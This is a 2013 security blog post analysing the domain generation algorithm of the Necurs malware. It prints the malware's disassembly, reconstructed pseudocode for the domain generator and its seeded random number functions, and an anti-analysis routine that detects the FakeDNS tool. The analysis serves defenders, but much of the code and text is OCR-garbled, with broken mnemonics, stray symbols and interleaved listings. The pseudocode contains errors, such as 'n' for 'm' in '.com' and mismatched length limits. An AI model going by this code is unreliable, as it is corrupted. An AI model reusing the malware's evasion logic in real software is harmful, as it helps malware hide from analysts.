Q Search

ARCHIVES

October 2013

August 2013

January 2013

December 2012October 2012

September 2012

August 2012

July 2012

June 2012

May 2012.

April 2012

March 2012

February 2012

January 2012

December 2011

November 2011

September 2011

October 2011

August 2011

July 2011

June 2011

May 2011

April 2011
 March 2011

February 2011

January 2011

December 2010

November 2010

September 2010

October 2010

August 2010

July 2010

META

Site Admin

Log out

July 2013June 2013

September 2013

GO

→ HOME

MDT Blog

Necurs DGA In this blog we will discuss DGA (Domain Generation Algorithm) of Necurs Malware as i promised in my previous blog. So what are be waiting for lets dig into technical details. First of all it checks for internet connectivity by randomly connecting with either 'microsoft.com' or 'facebook.com' if successful then It saves resolved IP in variable and creates four domains using DGA. It creates four threads of DGA in loop and then waits for those to return: 🜃 🎿 🔤 loc 402A37: ; 1pThreadId push ebx ebx ; dwCreationFlags push edi <u>; lpParameter 🐟</u> push Used as index for offset DGA_StartAddress; lpStartAddress push saving resolved IP's push dwStackSize in array by Thread push ; lpThreadAttributes call ds:CreateThread [ebp+esi*4+DGAThreadIdArray_hObject], eax mov cmp eax, ebx jz short 1oc_402A50 💴 🎿 😐 inc esi 🜃 🅰 🖭 loc_402A50: inc **Four Threads** edi, 4 🖛 cmp short loc_402A37 🜃 🅰 😐 **OFFFFFFFF** dwMillisecond push **bWaitAll** push eax, [ebp+DGAThreadIdArray_hObject] 1ea ; lpHandles push eax ; nCount esi push ds:WaitForMultipleObjects call edi, edi xor esi, ebx cmp short loc_402A7A jbe 🜃 🅰 😐 loc 402A6B: ; hObject [ebp+edi*4+DGAThreadIdArray_hObject] push call ds:CloseHandle inc edi edi, esi cmp jb short loc_402A6B 💴 🎿 😐 loc_402A7A: push [ebp+ms_fb_IP] call detectFakeDNS pop ecx edi pop test eax, eax jnz fakeDnsDetected loc 4029F1 DGA CreateThread Loop Then Each instance of DGA will return one random domain name in lower case letter of length between

DGA function will call a custom random number generator function with upper and lower limit of 16 and 10 and returned value will be used as length of domain. Then loops through random number generator function calls for earlier returned length number of times with 'a' and 'z' as lower and upper limits.

Following is the dis-assembly of the code used to generate domains. After generating it will append

10 to 16 letters and '.com' as TLD (Top Level Domain).

function calls for earlier returned length number of times with 'a' and 'z' as lower and upper limits. Following is the dis-assembly of the code used to generate domains. After generating it will append '.com' at end of generated string and try to Resolve that domain using Windows API 'DnsQuery_W'. If domain successfully resolves it saves IP address in an Array using a variable passed to Thread as index. DGA code is shown in figure:

```
DGA_StartAddress(){
    domainLength = rndm_alpha_sub_40483C(lowerLimit=0xA,upperLimit=0xF);
   counter = 0;
    do{
      rndmAlpha = rndm_alpha_sub_40483C('a','z');
      rndnDomainName[counter] = rndnAlpha;
      counter++;
     while(counter<domainLength);
    rndmDomainName[counter++] = '.';
    rndnDomainName[counter++] = 'c';
    rndnDomainName[counter++] = 'o';
    rndnDomainName[counter++] = 'n';
    rndnDomainName[counter++] = '\0';
    PDNS_RECORD pDnsRecord;
    DnsQuery_W(rndmDomainName,DNS_TYPE_A ,DNS_QUERY_BYPASS_CACHE, NULL, &pDnsRecord, NULL);
   DNSResponse[arg_0] = pDnsRecord[18];
   return 0;
                     Corresponding disassembly
DGA StartAddress proc near
DGA_Domain_ptr= word ptr -84h
DGA Domain ptr 1= word ptr -82h
DGA_Domain_ptr_2= word ptr -80h
DNSResponse= dword ptr -4
arg 0- dword ptr 8
push
nov
        ebp, esp
        esp, 84h
sub
push
        esi
        edi
push
                                   ; UpperLimit 16
push
        0Fh
                                   ; LowerLimit 10
        ØAh
push
        esi, esi
xor
        rndm_alpha_sub_40483C
call
                                   ; Domain name length from 10-16
nov
        edi, eax
pop
        ecx
pop
        ecx
test
        edi, edi
        short loc_40291D
     🜃 🖂 🚾
     1oc 402905:
     push
                                         UpperLimit z
                                        ; LowerLimit a
     push
     ca11
             rndm alpha sub 40483C
                                        ; rndm alpha sub 40483C(lowerLimit,upperLimit)
             [ebp+esi*2+DGA Domain ptr], ax
     inc
             esi
     pop
             ecx
     pop
             ecx
             esi, edi
     cnp
             short loc_402905
     jb
                                        ; UpperLimit z
                        🜃 🎿 🖾
                       loc_40291D:
                       push
                               2Eh
                               eax
                               63h
                       push
                       nov
                               [ebp+esi*2+DGA_Domain_ptr], ax ; '.'
                       pop
                       push
                               [ebp+esi*2+DGA_Domain_ptr_1], ax ; 'c'
                       nov
                       pop
                               eax
                       push
                                [ebp+esi*2+DGA_Domain_ptr_2], ax ; 'o'
                       nov
                       1ea
                                eax, [esi+esi+6]
                                [ebp+eax+DGA_Domain_ptr], cx ; 'm'
                       xor
                               ecx, ecx
                       push
                                [ebp+eax+DGA_Domain_ptr_1], cx ; '\0'
                                eax, [ebp+DNSResponse]
                       1ea
                       push
                       push
                               ecx
                       push
                               0C 0h
                       push
                               eax, [ebp+DGA_Domain_ptr]
                        lea
                       push
                               eax
                       call
                               DnsQuery_W
                               edi
                       pop
                               esi
                       pop
                       test
                               eax, eax
                               edi
                       pop
                               esi
                       pop
                       test
                               eax, eax
                       jnz
                               short 1oc_40298B
                         4 44 62
                                 eax, [ebp+DNSResponse]
                         mov
                                 ecx, [eax+18h]
                         mov
                                 edx, [ebp+arg_0]
                         push
                         push
                                 eax
                         mov
                                 ds:DNSResolvedIP_Array[edx*4], ecx
                         call
                                 DnsFree
                                     🜃 🎿 🐷
                                     1oc_40298B:
                                             eax, eax
                                     xor
                                     1eave
                                     retn
                                     DGA_StartAddress endp
                                          DGA Necurs
```

; rndm_alpha(lowerLimit,upperLimit)
; {
; rndm = genRandom();
; size = upperLimit - lowerLimit + 1;
; rndmNo = rndm % size;
; rndmAlpha = rndmNo + lowerLimit;
; return rndmAlpha;

Random number generator function does not do anything special it just calls another random generator

function that generates 32 bit random number without any limit and takes that number adjusts it within limit by diving that by "UpperLimit – LowerLimit' and adding LowerLimit to that and returns that value.

Code for this random number generator is shown below:

🜃 🎮 🚾

```
Attributes: bp-based frame
                       Corresponding Disassembly
         🜃 🎮 🖭
         rndn_alpha proc near
         arg_0= dword ptr 8
         arg_4= dword ptr 0Ch
                ebp
         mov
                ebp, esp
         push
                esi
                esi, [ebp+arg_4]
         mov
         cnp
                [ebp+arg_0], esi
                                         ; if('a' == 'z'[esi])
                short 1oc_40484C
         jbe
 🜃 🖂 🖭
                             🜃 🎿 🚾
 uppar_limit_eq_lower_limit:
                            loc_40484C:
                            call
         eax, eax
                                                              '7a' -'61'
         short loc_40485E
                                    esi, [ebp+arg_0]
 jmp
                             sub
                                    edx, edx
                                                              edx = 0
                             xor
                             inc
                                    esi
                                                              '1a(26)'
                             div
                                    esi
                                                              eax/26(esi)
                                                             ; copy remainder to eax
; add 'a' to eax
                             mov
                                    eax, edx
                                    eax, [ebp+arg_0]
                              🜃 🎿 🖭
                              loc_40485E:
                                     esi
                                     ebp
                             pop
                              retn
                              rndm_alpha
                                                  endp
                                Raindom Number Generator with Limits
Last random generator without limits uses "RDTSC" instruction and four Global variables to generate
random number. Values of these variables change with every call to This function. Initial values of those
variables are:
 .data:0040E000
                                 ;org 4ՄEՄՄՄՈ
 ; DATA XREF: rndmGen+29†r
 .data:0040E000
                                                           rndmGen+3B1w
 DATA XREF: rndmGen+1E†r
 .data:0040E004
                                                           rndmGen+35†w
 DATA XREF: rndmGen+151r
 .data:0040E008
                                                          ; rndmGen+30Tw
 .data:0040E00C InRndm_dword_40E00C dd <mark>758CD15h</mark>
                                                         ; DATA XREF: rndmGen+4Tr
 .data:0040E00C
                                                          ; rndmGen+24Tw
                                    Initial value of variables
Here is code for random generator:
```

temp64 = __int64(var_C) * 0x36A6E006;
temp32 = __int32(temp64 >> 32);
unsigned __int32 carry = __int32((__int64(rndm2) + __int64(temp32)) >> 32);
global_var_4 = ((rndm2 + temp32) + carry);
global_var_0 = (rndm1 + __int32(temp64) + var_4);
return global_var_0;
}

rndm = __rdtsc();
rndm2 = rndm >> 16;
rndm1 = __int32(rndm);

global_var_x = var_x; for x=0,4,8,c

4 44 44

; int rndm_sub(){

```
Corresponding Disassembly
                 II
                rndm
                                 proc near
                rdtsc
                mov
                         ecx, eax
                         eax, ds:InRndm
                mov
                         esi
                push
                         esi, edx
                                                    ; rndm2
                mov
                         edx, 36A6E006h
                mov
                mul
                         edx
                add
                        ecx, eax
                                                    ; rndm1 + varC
                         eax, ds:InRndn_dword_40E008
                mov
                adc
                         esi, edx
                xor
                         edx, edx
                         ecx, ds:InRndn_dword_40E004
                add
                         ds:InRndm dword 40E00C, eax
                mov
                         eax, ds:InRndm_dword_40E000
                         esi, edx
                adc
                         ds:InRndm_dword_40E008, eax
                         ds:InRndm_dword_40E004, esi
                mov
                         ds:InRndm_dword_40E000, ecx
                mov
                mov
                         eax, ecx
                         esi
                pop
                retn
                rndm_sub_4047F7 endp
                                 32bit Random Number Generator without limit.
After resolving generated domain it simply does not start communicating with those. As expected it has
more trick to avoid analysis. It compares each IP in resolved IP array with earlier resolved IP of
"microsoft.com" or "facebook.com". if any IP matches then this function just exits returning zero. This
function probably detects 'FakeDNS' tool.
           🜃 🎿 🔤
           ; detectFakeDNS(msfb_ip){
                for(i=0;i<4;i++){
                  if (msfb_ip == DNSResolvedIP_dword_40E3D0[i]){
                   return 1;
               return 0;
           ; Attributes: bp-based frame
           detectFakeDNS_sub_402991 proc near
```

add eax, 4
cmp eax, 10h
jb short loc_402996 xor eax, eax

eax

ebp

detectFakeDNS_sub_402991 endp

inc

pop

retn

ecx, ds:DNSResolvedIP_Array[eax]

ecx, [ebp+ms_fb_IP_arg_0]

short loc 4029AD

ms_fb_IP_arg_0= dword ptr 8

ebp

💴 🎿 🖭

cmp

jΖ

🜃 🎿 😐

eax, eax

ebp

xor

pop

retn

ebp, esp eax, eax

loc_402996:

push

mov

xor

This is for now in subsequent posts we will analyze communication with Command server.

This entry was posted by Atinderpal Singh on October 18, 2013 at 10:33 am, and is filed under Uncategorized.

Follow any responses to this post through RSS 2.0. You can leave a response or trackback from your own site.

Leave a Reply Logged in as Atinderpal Singh. Log out? Comment

You may use these <abbr title="""> <acronym title="""> <blockquote cite="""> <cite> <code> <del datetime="""> <i> <q cite="""> <strike>